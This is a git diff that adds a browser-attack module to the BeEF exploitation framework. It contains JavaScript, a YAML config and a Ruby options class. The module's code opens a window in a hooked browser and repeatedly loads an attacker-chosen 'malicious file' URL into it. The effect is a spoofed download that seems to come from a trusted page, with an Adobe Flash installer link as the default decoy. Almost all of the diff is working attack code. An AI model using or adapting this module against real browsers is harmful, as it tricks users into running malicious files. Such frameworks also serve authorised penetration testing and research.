diff --git a/modules/browser/lcamtuf_download/command.js b/modules/browser/lcamtuf_download/command.js new file mode 100644 index 000000000..a827c99fa --- /dev/null +++ b/modules/browser/lcamtuf_download/command.js @@ -0,0 +1,38 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var maliciousurl = '<%= @malicious_file_uri %>'; + var realurl = '<%= @real_file_uri %>'; + var w; + var once = '<%= @do_once %>'; + + function doit() { + + if (navigator.userAgent.indexOf('MSIE') == -1){ + w = window.open('data:text/html,', 'foo'); + + setTimeout(donext, 4500); + + } + } + function donext() { + window.open(maliciousurl, 'foo'); + if (once != true) setTimeout(donext, 5000); + once = true; + } + doit(); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed"); +}); diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml new file mode 100644 index 000000000..65f57b789 --- /dev/null +++ b/modules/browser/lcamtuf_download/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + lcamtuf_download: + enable: true + category: "Browser" + name: "Lcamtuf Download" + description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." + authors: ["Bart Leppens"] + target: + working: ["ALL"] + not_working: ["IE"] diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/browser/lcamtuf_download/module.rb new file mode 100644 index 000000000..1d2b707dd --- /dev/null +++ b/modules/browser/lcamtuf_download/module.rb @@ -0,0 +1,49 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Lcamtuf_download < BeEF::Core::Command + + # set and return all options for this module + def self.options + + + return [{ + 'name' => 'real_file_uri', + 'description' => 'The web accessible URI for the real file.', + 'ui_label' => 'Real File Path', + 'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869', + 'width' => '300px' + }, + { + 'name' => 'malicious_file_uri', + 'description' => 'The web accessible URI for the malicious file.', + 'ui_label' => 'Malicious File Path', + 'value' => '', + 'width' => '300px' + }, + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore', + 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], + 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true + }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + + save content + end + +end